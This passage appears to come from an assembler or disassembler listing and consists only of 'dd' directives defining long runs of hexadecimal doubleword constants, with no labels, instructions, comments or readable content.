		dd 351400C9h, 0B28CB5DFh, 75581030h, 5B94074Ah,	16C4B97Bh
		dd 0AA30E487h, 1EFF2B0Eh, 0C0145422h, 0E63EE76Fh, 0BF374DC0h
		dd 0FC4AB9DEh, 2C301317h, 101C39F1h, 0C07844EEh, 0B103A53Eh
		dd 7C649CBEh, 0F32F0A46h
		dd 348850A4h, 3AC24ECh,	0CCA2008Ch, 690A1EE6h, 0CE4C6CE8h
		dd 27651124h, 63137448h, 9808904Bh, 44846E11h, 0B826ED8Eh
		dd 15C0A4CBh, 46D210FBh, 0A12214h, 41FB1AB4h, 3A23D307h
		dd 9C0A22E4h, 0A03821B5h, 11FC1D27h, 39BB808Dh,	13CFEAFCh
		dd 0C758A94Bh, 0D8B972C8h, 70A838DCh, 0BB406BF4h, 0F4680ED1h
		dd 0C28014B3h, 9AF8C061h, 4A885248h, 225B9441h,	988919ECh
		dd 8010DD9Ch, 64838C0h,	0FC5224D4h, 0D8D03745h,	9C364834h
		dd 939D13C4h, 1CE07700h, 0FA1658D1h, 74CB1706h,	39C0A1C8h
		dd 12373B7h, 0B0AD0532h, 41B43ED9h, 8567C8h, 0AA4D5BCCh
		dd 0B1D86080h, 0F0F480D5h, 7C1D50B4h, 20C9020h,	0B789FC86h
		dd 4C42BA49h, 610028BFh, 0E0994E14h, 5A5C0191h,	0D344FE85h
		dd 397185E2h, 441F70F4h, 8B5A1911h, 0C7D8C858h,	0DFB5F25Eh
		dd 227DEFE2h, 146A98Ch,	42538E3Bh, 0C12220E4h, 0FC70A809h
		dd 41B44B00h, 493F96F7h, 36E864C3h, 0C0F25F28h,	802F69DFh
		dd 4A6CDB8Ch, 0B2123DF9h, 5A491704h, 5EB8A8FBh,	9CD8A0C8h
		dd 6B3940B8h, 0FA006A76h, 0F53DA6D2h, 0A51E23h,	538B6E70h
		dd 0E0FC907Bh, 0C400DCE0h, 1E83BE11h, 94B8DFC3h, 0C1DDC2Ch
		dd 13804F0Ah, 0AEF18014h, 4BD20C5Ch, 1649DE05h,	0FDD95260h
		dd 3AC7BF7Fh, 36004E07h, 0E3245893h, 3C02946Ch,	8A33BC96h
		dd 0AAE06335h, 0BF220019h, 89EECBEh, 0A1465Ch, 230D8C97h
		dd 7A8D9CCEh, 252D17A6h, 3380C17Bh, 22411060h, 70229780h
		dd 20565BE7h, 3024676h,	6ED18C3Eh, 2DD0C046h, 2014B008h
		dd 482F8D59h, 6CF09034h, 9E273E0Fh, 0E34C1081h,	7DC20A09h
		dd 0A2262F84h, 5683CCD0h, 0D1130790h, 0D5523415h, 0DAD08244h
		dd 0C9E64A02h, 0C184DEB0h, 8D06F80Fh, 6ADDE158h, 256928CCh
		dd 54C40A29h, 0D73510F3h, 0F826E389h, 0BFA5D308h, 588F9B3Eh
		dd 448B99h, 60350351h, 0DDCB7FF9h, 0B10796B0h, 3896929Dh
		dd 0D62019D1h, 0EBFAC7D1h, 0E63DA018h, 35487458h, 0F650B887h
		dd 0EFEAE0D4h, 73A40074h, 59776EDh, 0BB4ED01Fh,	6A1E4486h
		dd 2235126h, 42315BCFh,	8A06470h, 11253599h, 91201777h
		dd 0FCB880E2h, 4716BF2h, 78462728h, 0BCCCB8A1h,	0AB1C8C19h
		dd 0A0A5BE4Ch, 8D760614h, 0C3C904F9h, 810F36E8h, 0B8D124h
		dd 2C3113DCh, 0F1C927Ah, 1564D040h, 9012AAD4h, 40E740A6h
		dd 0D80AA27h, 85807E4Dh, 0ECD5EF89h, 30C8FCCBh,	8C46E2C0h
		dd 67911812h, 0E6FAB1ADh, 40010626h, 0A202605h,	0E25F68B0h
		dd 81A32512h, 147434E2h, 0F7C62FDCh, 1087A0C9h,	610B9912h
		dd 0FEA3804Ch, 147462C1h, 20785AF9h, 77182750h,	5264E0C7h
		dd 55182260h, 0F1D81600h, 5AE27F7Eh, 0B0635ACAh, 311010CCh
		dd 0C3048EE6h, 0D1B2D3C5h, 9B6233Ch, 3E2C422h, 6D658032h
		dd 26F78FCAh, 10087FDFh, 4977315Ch, 0A99F2915h,	5F8873Bh
		dd 0DB8A10ACh, 0BD00C75Eh, 0A4B439E3h, 58AD3FCBh, 0FD246C48h
		dd 198582D8h, 0F0DCC80Fh, 1015CF40h, 9104BC7Ah,	44A24A8Ch
		dd 99201500h, 858DD2A2h, 22EAB00h, 72F25642h, 64009863h
		dd 527FA043h, 25C5809h,	8B8CFE6Ch, 0E4884590h, 0AAF26054h
		dd 0F6320040h, 0F3398090h, 4B5BD1C7h, 641520D2h, 0CDB00FCh
		dd 0EEABA6E8h, 0D022CD1h, 9A935602h, 4428E751h,	701E60D5h
		dd 0C14D005Dh, 5A747BA6h, 9F31393Fh, 0BBD9D09Ch, 42AE8BAh
		dd 7097B5A4h, 0F0809E91h, 0A2C71D41h, 242B0200h, 5039830Eh
		dd 86A62EAAh, 184674BCh, 79DB4503h, 0D100BC6Eh,	0B83F5CFAh
		dd 2EBA844Eh, 2126476Ah, 185179C8h, 324EE3Ch, 0E888A12Fh
		dd 94CA386Ah, 465EECD6h, 2E1304DBh, 50A9BD0Ch, 0F5F6F700h
		dd 480BE4E2h, 0C253EB00h, 76F9C49Eh, 0CC7E1D65h, 24BC214h
		dd 0B449D518h, 4FF9BFA5h, 0D28C88h, 92C89313h, 84D35FC7h
		dd 17FD7700h, 639F161Eh, 0C838F55Ah, 0FA313C09h, 53C484E7h
		dd 98A33C60h, 0F10A550Bh, 2B6C6871h, 57E300D6h,	5F790ED4h
		dd 0DC7B65E5h, 3181F0A0h, 7B411413h, 0B0ED74B0h, 28F12664h
		dd 0A3C4069Ch, 9D0FC94Eh, 0C096AB6Ch, 77B4260Fh, 668D277Bh
		dd 0D711C468h, 54BCA80h, 0C163690Fh, 668481CEh,	64413ACBh
		dd 0B747E95Eh, 8F3AF4h,	46AFEA3Bh, 81075DAEh, 0F6037712h
		dd 0D2CF4203h, 13511873h, 85D391DEh, 0AB684309h, 47FC5483h
		dd 91096092h, 0BB37314Ah, 0C3C060D9h, 4BB0BFCAh, 0CC3002F9h
		dd 0B4F85A7Bh, 4BDF411Eh, 44C441E5h, 0F6FE108Fh, 0DEF71F31h
		dd 0D8F3EA53h, 816BCC04h, 1848E979h, 0B35926D9h, 1861606Dh
		dd 8534F6ABh, 5525A0B8h, 6354E29Bh, 0C8A0B510h,	9C2D12D9h
		dd 225CB2ABh, 9558B083h, 84418819h, 0BD5B78B9h,	64583CACh
		dd 0DB33EEE9h, 0AFDBF0CEh, 462D0C14h, 0C8849B4h, 0C215E042h
		dd 0F10EA837h, 0D3C04475h, 0A301983h, 0A61CA797h, 40C71648h
		dd 11B1D4A8h, 752583F8h, 20B8644Bh, 179DBD62h, 8FD891BCh
		dd 0C53BEEEBh, 0A2D043h, 167A0A10h, 8AC61C1h, 87B8C09Fh
		dd 0CA0296C7h, 89A3A1Eh, 510BF400h, 0A88457h, 8910BA5Eh
		dd 0B74D6345h, 4CBB224h, 11B89F2Fh, 508B8004h, 2FE6E14h
		dd 83D1CD54h, 0DCDA4C81h, 0BBF422C1h, 306E8AD3h, 8D13D110h
		dd 0E4508B9Fh, 388A0174h, 0AACABFD3h, 80682CC9h, 282A10A1h
		dd 4DD10065h, 683B6F3Dh, 0C20152B8h, 43D3EE8Dh,	0D02C4199h
		dd 85227780h, 141C1D40h, 55E5DA4h, 0B1C35003h, 0FD73B0DEh
		dd 868B2F7Ah, 0C439ACC4h, 904D914h, 53351CCh, 8C89974h
		dd 80DB480Fh, 0E61EDF84h, 0F6C2B284h, 0E0091C48h, 0F57B7809h
		dd 2DB47251h, 0D053DFCDh, 0C080EDA5h, 85565D11h, 7FB06C98h
		dd 0C0C8CE51h, 0D9DD94D8h, 0AEF0B501h, 0F4207898h, 646D4C33h
		dd 12533D10h, 64C8DC0Fh, 4B8D5F5Bh, 907AB0ECh, 465EC496h
		dd 8012099Ch, 46B900ADh, 25163DACh, 0E441D336h,	89401086h
		dd 0D83CFF2Fh, 15E353Dh, 7913C40h, 992030CEh, 465E0CBEh
		dd 660B719Fh, 84F2F34Dh, 12522958h, 710AD64h, 41CB9EF7h
		dd 4B3A8910h, 94C78277h, 0B5602E44h, 5A024C07h,	63D1ECFEh
		dd 1DE85EF5h, 9FCA8BC3h, 308B4441h, 4495CE78h, 0DFAD138Ch
		dd 0F004A481h, 9A20289Ah, 41DC16BCh, 0CEF8810Fh, 0F6E18076h
		dd 0C36C3446h, 8E3B3E19h, 0F232184Ch, 0D041E921h, 0C4F05009h
		dd 2C0967DBh, 0C446EF25h, 0B664226Ch, 3C8CE4B7h, 61A063CCh
		dd 0B32D1098h, 2E1C640Ah, 9268AE67h, 8F78206Eh,	0F500DD61h
		dd 1D476984h, 12E1017h,	85F62031h, 617A082Ch, 0C4886E95h
		dd 62D70068h, 9A18212Dh, 3F4E9105h, 0C711B881h,	15FA1450h
		dd 1EC8026Eh, 32899B8Ah, 83DFC892h, 8006C488h, 86EF2Fh
		dd 0C1680944h, 47157D9Bh, 4A0029D6h, 8B529F62h,	465602C8h
		dd 0B2027B27h, 120EA4C6h, 0DED7A344h, 0ECCB5B3Ch, 7C1A0C8h
		dd 0CDD4C008h, 22A4A679h, 0F7227B51h, 0F38A0AAh, 53244AA6h
		dd 0C2C49A58h, 516BFD16h, 4F551EBCh, 4BCA1D2Dh,	417E64F0h
		dd 3079CFD5h, 0DA10452Bh, 0E604841Fh, 0A42CE010h, 0A77F00E5h
		dd 12461458h, 8CBE4791h, 0A990A30Ch, 0E16313CEh, 7C7C9857h
		dd 17407740h, 4A149FDh,	5C8B194h, 0F0603586h, 0BD551551h
		dd 0E606844Eh, 4A97DF13h, 0B25E40E8h, 716B3388h, 8013B76Dh
		dd 0C7D320D0h, 919C17BFh, 2B3C802Dh, 3835B4D5h,	0A0D085DFh
		dd 4554BFEh, 0B291AE68h, 0C7E2240h, 4A16F117h, 0E53EFB49h
		dd 0A6DC0038h, 0D507846Bh
		dd 0C1640B98h, 3C608F4Dh, 0F1009D23h, 3349ED30h, 0F86A7h
		dd 0F54807F8h, 0F796FA3Fh, 9C90500Bh, 0CB949349h, 0B2914B21h
		dd 0C82216Ch, 4581428Fh, 28CCCA4Eh, 40AB4043h, 684FCB2Eh
		dd 9EE0701h, 7C60358Fh,	8CE149C2h, 85009B5Fh, 0A80044A7h
		dd 8C8A9012h, 43CB091h,	58A44A92h, 4F08F805h, 0B4AD2025h
		dd 0C539D1B8h, 2159886h, 1CA7CD19h, 65838912h, 54D970D9h
		dd 5B00B118h, 0B24A810Ah, 2232AFDh, 35C8596Dh, 0D8C845AFh
		dd 1E77B9DDh, 0D08CD24Fh, 10A0420Bh, 0C282AE08h, 0A0D6B453h
		dd 0DB7600F4h, 954CA95Eh, 499D413Fh, 886F065Ch,	0EA005C7Ch
		dd 150C23A8h, 48CF1FF5h, 4E00A08Eh, 442C4CEh, 3F09BC3Dh
		dd 7C2D2BE0h, 0F745C158h, 0B54997B7h, 0F223D030h, 0E0404B66h
		dd 45100248h, 0A0580314h, 6071CE25h, 69254700h,	5BA3C27h
		dd 89C76A35h, 8CF0253Eh, 18B16FB4h, 91DD0E00h, 0E9DDEFDh
		dd 40F2193h, 17C0D680h,	23054899h, 1470FFC2h, 0D2F423BBh
		dd 9039A2C8h, 0D41DC000h, 9C5EB709h, 840507E3h,	50DD3BB0h
		dd 50B3F4BEh, 0CE42FA18h, 3AEE079h, 2BDE2EEBh, 0B0D8EEC3h
		dd 0B413EC24h, 861639B6h, 0F8883012h, 1EAFF208h, 57FFF213h
		dd 0FD0604Fh, 29C152DBh, 60B075F1h, 1338A870h, 954BCD94h
		dd 6CAC010Ch, 0C0458714h, 0C104C646h, 0E391DF63h, 0B61088B2h
		dd 7013D672h, 64DDA0D1h, 0F9D0BF00h, 0F9C08F5Ch, 3A0CB8D9h
		dd 27A07700h, 7CD07D29h, 89FA0AEAh, 85AC4188h, 0FC134C16h
		dd 1837C300h, 7094A50Fh, 0E8C138ECh, 0CCE18E85h, 4A1E3D91h
		dd 884032B0h, 0D28F22FCh, 601894CEh, 61E55BD4h,	761000B1h
		dd 0A9509C2Eh, 182ED1D0h, 0A82B0779h, 5402611h,	3B148802h
		dd 25A5F712h, 0CF1E9CC8h, 7B04B339h, 5ABCFCA9h,	5C8248Bh
		dd 33D260CFh, 68F11BEh,	264F3845h, 0D0F0615Bh, 0BC84497h
		dd 734DC0EDh, 9C181C50h, 24285CD6h, 402F0B7h, 3801B810h
		dd 32FCC005h, 0E1B7D399h, 0C50B520h, 4223413Ch,	972848A4h
		dd 9B85880h, 75B12615h,	30467CA0h, 83707100h, 8FF46816h
		dd 31A01050h, 558908EBh, 8C2ED442h, 324AAE38h, 0D029B8F3h
		dd 1819D1A8h, 43CF0905h, 8840E402h, 0D72D242Bh,	0E94F1B7h
		dd 5DA11056h, 2E866D34h, 19E18CC0h, 0B6DE4B0Fh,	2245888h
		dd 0DF149125h, 0BFC45805h, 0C82FA810h, 54AF3600h, 6E3CEC49h
		dd 0A6310009h, 6CFCB633h, 0A17CFD58h, 842B39CFh, 2FEFDE93h
		dd 28E23A8h, 74F1E426h,	21008C51h, 19A6A9EBh, 6A610055h
		dd 4BF9FA9Eh, 0F7023439h, 0A20660CDh, 4060FCA4h, 943187B2h
		dd 5084C400h, 0F7063747h, 197A1DCBh, 446E00F3h,	4DE57B78h
		dd 5C344082h, 8D031383h, 2A2499C9h, 0E8003C6Ah,	0F49DA8C1h
		dd 10E4B24h, 0C96BBF95h, 0C0D4749Ch, 76CE58AEh,	7558428Ah
		dd 4C02E82Bh, 9C532h, 4FEDA990h, 25709879h, 0B01DB990h
		dd 8D809D91h, 4B70DF9Ah, 0F069C7Fh, 669F5CD0h, 993D02E1h
		dd 44B0C05Bh, 9740E07Eh, 186AE10h, 18D30D5Fh, 6FC14AA9h
		dd 62226422h, 0C25844B0h, 0BDF50AB0h, 172DE4D1h, 800291FCh
		dd 71E74255h, 33A40B91h, 4896D48h, 3CF458CAh, 0CF18A540h
		dd 7EE905ECh, 82F719h, 0FE52ABAFh, 6BF086EAh, 29AE503h
		dd 0C0B35A35h, 412B18h,	0BDF0CE43h, 9E99383h, 0C718C27Ah
		dd 0FFC87181h, 0D9DB3D74h, 664F2580h, 1CF64950h, 0E6389200h
		dd 313DDF17h, 44AB2D7Fh, 0C73318A0h, 0A4808E9Dh, 80D0B97Ch
		dd 3A8A3741h, 5E8276FEh, 816AC538h, 3C3D5B80h, 191C436Ch
		dd 0A530B53Ch, 4FB47464h, 2D60E16Ah, 0FBC027Ch,	0F2391249h
		dd 0C5C70B00h, 0F4704A89h, 1C664E5Bh, 6B0CB470h, 6490604Eh
		dd 2C0F520h, 0C1AF3875h, 64F6D425h, 0B7C8994h, 67DD52C3h
		dd 567B0C78h, 0E72C33A1h, 0FF972CE9h, 82199427h, 0D9B46C30h
		dd 708C5498h, 802FD095h, 240ABE70h, 136FB651h, 8A90DCA4h
		dd 465E18B4h, 383A0219h, 5EF755C1h, 31AF1708h, 207EF100h
		dd 0E5B8C1D7h, 0E000ECE2h, 0A45E7105h, 5C1379h,	753EFEB7h
		dd 48E53877h, 20060E30h, 0E6ABDD6Ch, 3E9100CCh,	0EE12A6A4h
		dd 0FCE88707h, 0E8FFE82Fh, 0BBF24Ch, 3BC6738Dh,	0E66E76B8h
		dd 8178101Eh, 928F1D40h, 620EFEh, 0DD17FD05h, 3483C519h
		dd 0E81CBD5Dh, 1BF909ACh, 2CDC1206h, 337100DCh,	707BB31Bh
		dd 9BEE326Dh, 0FBAD45E9h, 3EB8EC50h, 0E1F67EDDh, 0F6CBE200h
		dd 0CF1F083Eh, 0D7758C1h, 4C751054h, 45220847h,	0C8DACD00h
		dd 3B8A052Ch, 0BF78C6BCh, 90BF1059h, 2A0C428h, 476B0C0Bh
		dd 0D8AA944Ah, 28741524h, 4C4964A2h, 1284E5Ch, 6CBC79A3h
		dd 402F4847h, 91303494h, 29174C87h, 4CE8B737h, 4374CB2Eh
		dd 47C81F18h, 40A7F50Bh, 44FE8E85h, 0CE8E64ECh,	0C1CC81DEh
		dd 0FC53DE9Fh, 91C65C23h, 7BF8E6A3h, 23B491B6h,	3C8A703Ch
		dd 62A49854h, 4B763427h, 823022ECh, 86643485h, 0CFED002Fh
		dd 438FD3F1h, 0A3D00C68h, 8ED0B64Eh, 461E7400h,	0C1C8CACDh
		dd 48AF516Eh, 1223BC1Eh, 98DB0F61h, 883E9857h, 3B860971h
		dd 86BFB0EBh, 481838C8h, 7D71C037h, 0A6A9C8F0h,	0FC30242h
		dd 453F8F5Fh, 4A7C2057h, 0E1005BFDh, 6760E705h,	2185AEDh
		dd 0B4F05572h, 70401277h, 0FE047CA8h, 3A8675BDh, 1DD9D4E4h
		dd 5433B709h, 29DC20E0h, 789C09BCh, 0D34954D0h,	0E8814B9Ch
		dd 4EF99DD5h, 0D46324F0h, 4B0B1008h, 345CBCD3h,	3CDA4257h
		dd 0AD56EC60h, 7CFC08C4h, 4CEA7D03h, 88957EE1h,	81B6910h
		dd 0F2447CCh, 44621031h, 8CAFA101h, 18883A08h, 83262F2h
		dd 64C9A02Dh, 0CB108CD2h, 669408FAh, 8C851DEh, 372CFB20h
		dd 0DC30F1DBh, 48409161h, 102A620Bh, 0C203F03Ch, 0A3081851h
		dd 0A2611889h, 0C8F94380h, 770C7E39h, 40F408AAh, 2862323Dh
		dd 2627920h, 6C067DD5h,	0B54920C9h, 62B9B463h, 0A76120C7h
		dd 194B1033h, 9C0818B0h, 0E4E1200Bh, 11881181h,	0E90DC33Eh
		dd 0A6210810h, 1877188Ch, 0B0A8B208h, 8DDDD1Dh,	585AB9F1h
		dd 4AC7A03h, 2406ECCCh,	1C310837h, 758E28D7h, 8CFE8F01h
		dd 8935010h, 92E9C4DDh,	90F206D4h, 0E9976308h, 1010B735h
		dd 0BA33AE14h, 1119B8B9h, 0A220C196h, 0AEFFC51h, 14EBF01h
		dd 8881247h, 0F50DA905h, 8AFD2031h, 91FF3C01h, 76195610h
		dd 51A60894h, 88F381ECh, 38383608h, 0F49A320h, 0A4F01504h
		dd 0B19844B0h, 0E31FD1C4h, 109CB706h, 20EC1420h, 7262BC26h
		dd 3A84831h, 810785Bh, 18191117h, 88FF20B9h, 8513A29h
		dd 6512F021h, 4A7F5844h, 96978E04h, 6C201188h, 4988204Fh
		dd 20684020h, 620B9F4h,	0C6CB31A0h, 0A253C348h,	5B20AC61h
		dd 41A363D2h, 1018D53Dh, 508929Eh, 25EA83BEh, 0E129190Eh
		dd 7A3159B8h, 24B5208h,	0DE8A3FBh, 9D513180h, 88F8BD08h
		dd 12573740h, 551844F9h, 8F290436h, 0BD882C0Ah,	0E7186BB1h
		dd 0C1088CA5h, 927D18D9h, 0D84B54C0h, 0C4454060h, 0CA182D62h
		dd 305E03B5h, 0BC34102Ah, 848098F6h, 0C718CAEBh, 0DC149580h
		dd 71044F1Ah, 7F350048h, 24AF10C9h, 0C491C504h,	208826C2h
		dd 4E08BAE9h, 0C8AA153Eh, 20F5C119h, 0B198C65h,	0A98610DCh
		dd 834B8E8h, 32689A71h,	2A085C8Eh, 0D14BFCA4h, 3455AB44h
		dd 42808638h, 90A9805Ah, 830EB180h, 8C498CD2h, 17088203h
		dd 52A5E255h, 38180498h, 0BBF8C3EFh, 313000Fh, 0BFFBF7h
		dd 25907110h, 8D6C5C79h
		dd 0AB1D3504h, 0C4D057ACh, 39765F13h, 8E808FFDh, 440EF592h
		dd 7A026A05h, 595012B3h, 0B0B8C667h, 89660098h,	38A7052Dh
		dd 0F003E9E7h, 0F12B0A20h, 0A079A33Fh, 12E27CDh, 1168C2CFh
		dd 81C89F72h, 0A2F9DC40h, 0B8807FA5h, 45BCE637h, 61601ED3h
		dd 0ECCD2B20h, 153E0024h, 0BEB8E7AAh, 1B063F5Bh, 126A3CBh
		dd 97363938h, 0C4946B80h, 0E3C7F7D9h, 0FF28960Fh, 0A71820C6h
		dd 4CC11624h, 9A2D49AAh, 0CEB738A0h, 4E006AFFh,	43DBAE3Ah
		dd 7C9E726h, 14E6B80Bh,	0A3995056h, 30C236ACh, 55BAE4F4h
		dd 301560C0h, 1190EF60h, 1DDABCCCh, 18D4D212h, 5A3320B5h
		dd 0FA4AB302h, 0E8876E59h, 213448h, 51ED439Fh, 0D1DCEBC3h
		dd 1827A310h, 15F3AE03h, 5805E989h, 0E9438F0h, 7EDF4482h
		dd 152303F0h, 0C0071013h, 0D2056F5Bh, 1A66EC1h,	1D749840h
		dd 1099D85Ch, 7A00BA34h, 1516026Ch, 18DA85B2h, 2020F8A3h
		dd 14A9C84h, 0F496CC03h, 0C358284Bh, 0A5E5F194h, 9CB21194h
		dd 6413D06Bh, 0F67AEC0Bh, 0CB30487Ch, 0F8ACA4F1h, 0AD100F3h
		dd 97BD6F99h, 7060366Dh, 4D59C828h, 15300C4Fh, 49301F82h
		dd 40985351h, 0F9969C30h, 0D48C6490h, 0B884CC31h, 48001762h
		dd 55407E10h, 28EB0009h, 355AEE91h, 0FCBAF6A0h,	0CD9A2B14h
		dd 0D1ED09C8h, 284A88A1h, 0E50DF412h, 2C4204DDh, 5DA8A148h
		dd 746CC79Fh, 6E9BC200h, 869EADDAh, 0BB35C402h,	7E406Dh
		dd 0BDA3D9C7h, 1406149h, 0CC45BAA0h, 0F45002E4h, 3E8CF5EDh
		dd 0D00ACD13h, 0BEC83F3Eh, 73C44807h, 60E10C3h,	1A1D7AB2h
		dd 1B01A22Eh, 2B57151Ch, 5430D074h, 0A47DA83Ch,	5C1510B4h
		dd 84B52539h, 408813D0h, 0C18CF872h, 8A151828h,	423E0187h
		dd 6E20037Ah, 0A02AFAE4h, 4A2028C8h, 638D05A0h,	1AAC09Fh
		dd 0DDA3CAC0h, 0CE031Bh, 1A96C360h, 1E482A24h, 6CDB6F00h
		dd 0B6B8ABD7h, 6566309Ch, 0CB457550h, 0A01F264Eh, 68198818h
		dd 12249069h, 826BA382h, 5C523990h, 5348340Eh, 5BD820C1h
		dd 0A025C769h, 96308h, 8349D1D0h, 0B34AADDDh, 7AAAFA04h
		dd 0C81DCCCh, 0F700C1AFh, 361E47BAh, 8B00BB72h,	13F977F6h
		dd 24E076DDh, 8824D03Fh, 7010993h, 0F05615E5h, 0ADE9820h
		dd 0AE4D9F61h, 0D5261280h, 59C401A4h, 9FE0E3D0h, 0B00D898h
		dd 5499DB65h, 78391EBDh, 0D4F8C1FCh, 2B3DA5C0h,	88C8CA80h
		dd 0BF1512B4h, 993040A6h, 0DD59FFD1h, 90080500h, 0A53D015Fh
		dd 2EDF02AFh, 0D0AD6E5Ch, 1200D609h, 0B448A4FFh, 2C98FD72h
		dd 0EDA3C616h, 0EF9064A0h, 0B7C24080h, 0C07A1626h, 0FFE99F0Fh
		dd 0AC614297h, 0D5B92021h, 2200B352h, 0E267DB73h, 4626A5Bh
		dd 0D41151DFh, 660D424h, 8CFEAF4h, 0BD00D979h, 0B978C015h
		dd 74E044BFh, 0B34F1FD4h, 52A512CFh, 19785930h,	85DF9Ch
		dd 69DB7DA0h, 98009E59h, 4B153452h, 0C41073h, 3DD00C5Bh
		dd 35E73C99h, 4C79FB00h, 0BD39D9C3h, 0B3420E37h, 9EC0FD15h
		dd 6AD8F624h, 0D802C85Ah, 4829A49Ch, 0A0FCAF5Ch, 16143DCh
		dd 0A3883D22h, 4331A9FFh, 0F97CBFC0h, 0BEA0C000h, 0AB366816h
		dd 10DB00BAh, 85B58EB7h, 1712E7B4h, 0D0412872h,	78A3CE23h
		dd 1A0C3438h, 0C990332Bh, 8D01518h, 46C6BF0h, 0D344FCF5h
		dd 0D000AFE0h, 0E410231Ah, 3EA20961h, 9C1A18E1h, 42D92085h
		dd 74151BC4h, 982404DCh, 33A07661h, 2418C4DEh, 43D08BF6h
		dd 0F81B6237h, 48112E8Fh, 0B814E790h, 0C06280E2h, 3C05A20Eh
		dd 3A330891h, 624E4181h, 0ECD6CE58h, 2A71C984h,	217CF703h
		dd 1622CFA3h, 0D0AC8680h, 48F4CCB8h, 0D4B4E32Ch, 20DA8008h
		dd 1FC08884h, 90988264h, 0D1171063h, 10057237h,	0FC857ADAh
		dd 50CF6001h, 0A9812415h, 645439DBh, 140C303Ah,	3C3E6340h
		dd 8513B599h, 0DB144079h, 40C1156Fh, 108AB232h,	0EEDFC037h
		dd 92EC7671h, 2517F288h, 2C419AEFh, 0FD34703Ch,	0F36B1100h
		dd 591C74ADh, 15A21240h, 9000AFA7h, 7F0861F1h, 9F3A2E35h
		dd 0CCD20434h, 1C340086h, 1783B4h, 260FA07Bh, 345E7C2h
		dd 0EF1BA103h, 244E919Fh, 14D48FA0h, 2789112h, 0FEA3DCBh
		dd 64C9C5CAh, 0FA9442ADh, 2B1B8083h, 3452F4F1h,	59503B7Ch
		dd 0F84C78B8h, 79E02244h, 581762DEh, 0E4C8272Eh, 0F0F05EEFh
		dd 802B6941h, 156B0230h, 4028832Fh, 56797114h, 0C900D0DEh
		dd 9C52A23Bh, 0C490870Ah, 0ECF3CD00h, 720E41F7h, 0BC3D5D90h
		dd 0D4144701h, 30C1DAF4h, 2A5035CCh, 0B44011F0h, 2889003Eh
		dd 41461B79h, 6801F84Dh, 0A3CDE5F6h, 7C64624Ah,	480905ACh
		dd 40CFA9D3h, 0C23F9A4h, 0C33BD17Bh, 9C3D006Ch,	610984FBh
		dd 625E6Eh, 64302268h, 9A0C86DFh, 50CC88A3h, 155338A6h
		dd 0E18F424h, 0BCA036EEh, 3EC865F6h, 0C2098776h, 224EC49h
		dd 1D3172Ch, 0E0B5D1E9h, 8CA00B34h, 0DC7F80F5h,	0F0CE511Fh
		dd 28C3120Ch, 79010745h, 0F5D07FBFh, 60088CFBh,	0F33B40h
		dd 74CF0F2Ah, 0EE72962Bh, 2A3C32F1h, 0CC008C8Dh, 0B854FF06h
		dd 0AF4ECBh, 0C1265082h, 0C46D9CADh, 1384A854h,	0D9F670Bh
		dd 0CC880E78h, 1EB19D9h, 639A573Ch, 0C03F49CAh,	9F19E2EEh
		dd 3B6076C9h, 4B347C70h, 0C31CD112h, 0D4C8704Ah, 0DE29B102h
		dd 69DF49A3h, 0C0888C30h, 87046AE4h, 0B8F8D49Ch, 7594BD00h
		dd 0D011C427h, 0EFDA2C03h, 3BD30871h, 0A30B4989h, 8806A551h
		dd 0ED0A51E2h, 98CBC515h, 0D0084B00h, 306D8EADh, 0CD3890CFh
		dd 54996233h, 51AF8501h, 2C20B134h, 91070284h, 0B723A0Fh
		dd 12128454h, 0CD868400h, 0CB782515h, 588A17D0h, 0C7864F3Ch
		dd 134C18A9h, 5B9F001Dh, 10023367h, 0D0CB16D5h,	150002D9h
		dd 889BAECEh, 9236F7D8h, 3A1F3800h, 5DDBB7ACh, 4E810A1Eh
		dd 26B49C51h, 0B44CBB00h, 0D086868Fh, 0C701181Ch, 0CCEAEEEFh
		dd 682889D2h, 8D06F420h, 5A779F99h, 3DFF0028h, 0DBD686F9h
		dd 6007443h, 25C80DF3h,	0B37DE57h, 0C0CEA397h, 0F0C588FAh
		dd 0FAC1CCE1h, 463D198h, 0F471EB04h, 90AF09B2h,	6935F0h
		dd 0F24937DCh, 0DB67FE7Eh, 0A2B10501h, 51B7E1A8h, 11ACD89Ah
		dd 0BC5520C0h, 3B6A93Eh, 3E7C286Bh, 24403DCAh, 63A39B07h
		dd 1321857Ah, 0D45D0B08h, 62EAE813h, 0C48AD464h, 20B029h
		dd 0F7ED1C3Ch, 0A2127496h, 0F62D3C00h, 0FE146EF5h, 71790ED6h
		dd 2C4A9FE7h, 82A090B0h, 80F58D6Eh, 6825C4FCh, 99705C3h
		dd 90BA39DEh, 62ED37C8h, 0F5E19C7h, 0DEE485CBh,	0E1599AC0h
		dd 98CA482h, 466DA6D5h,	0CE1688A3h, 0EBDF0588h,	8284631Dh
		dd 934E7F00h, 0B63CFE15h, 6A442CDCh, 1E8213Ch, 998D206h
		dd 67BE0059h, 1B58A153h, 0BCFFC64h, 2DDC6FBDh, 858FA022h
		dd 0EE8C801h, 2415C1D8h, 92548CDFh, 0D87CC8FAh,	0BD3BED10h
		dd 0F002D448h, 0D0E47A14h, 10B7FCC1h, 7617EDB4h, 9E4968Ah
		dd 2C878FCCh, 0B1881215h, 311FBC59h, 6C5BA930h,	0A16249Fh
		dd 3C8AAFE8h, 0D3DC007Ch, 657A2DC1h, 895EDA3Eh,	858872A0h
		dd 0B484C5F8h, 31184800h, 5C5DA722h, 0E2266CD8h, 0FC684114h
		dd 0DC6B0076h, 601D1D77h, 0DB200F6h, 0A15F551h,	3E888861h
		dd 9854E1DDh, 38DC6584h, 6D960C35h, 1218607Fh, 0EF1654B0h
		dd 5C3164AFh, 4C65CFE3h, 13A5064h, 74C8AF5Dh, 80A9A39Ch
		dd 19A83588h, 0AB790206h, 6982E9DCh, 3F00AC27h,	0BDFEEDE8h
		dd 0F8F49C6Ch, 44CC558h, 346D1564h, 6C5074FDh, 96D126ECh
		dd 9D6EC100h, 0C0F8578Eh
		dd 2BD004A4h, 9FDE5B09h, 68F0A441h, 150964ACh, 2C0343D6h
		dd 5109D217h, 333CEDEh,	0D135C794h, 42176F5h, 0D0893422h
		dd 0D012CC87h, 0FA9A65FFh, 0D457CB00h, 9B3523C2h, 0B000B877h
		dd 7A972268h, 0FA006898h, 43311B7Fh, 31DD0F1Ah,	8EB91119h
		dd 0BDCC00C1h, 3E18008Bh, 85A45BFDh, 0DDE24BDAh, 0EC42AB24h
		dd 2C376E41h, 7A15F434h, 0EDC8001Bh, 0BDD00EC2h, 2498DE9Bh
		dd 5B0688A4h, 452E9F3Eh, 4330A010h, 73B80125h, 3515A1A6h
		dd 21E075DFh, 10347914h, 7F63BDh, 7C81DC70h, 0B0809966h
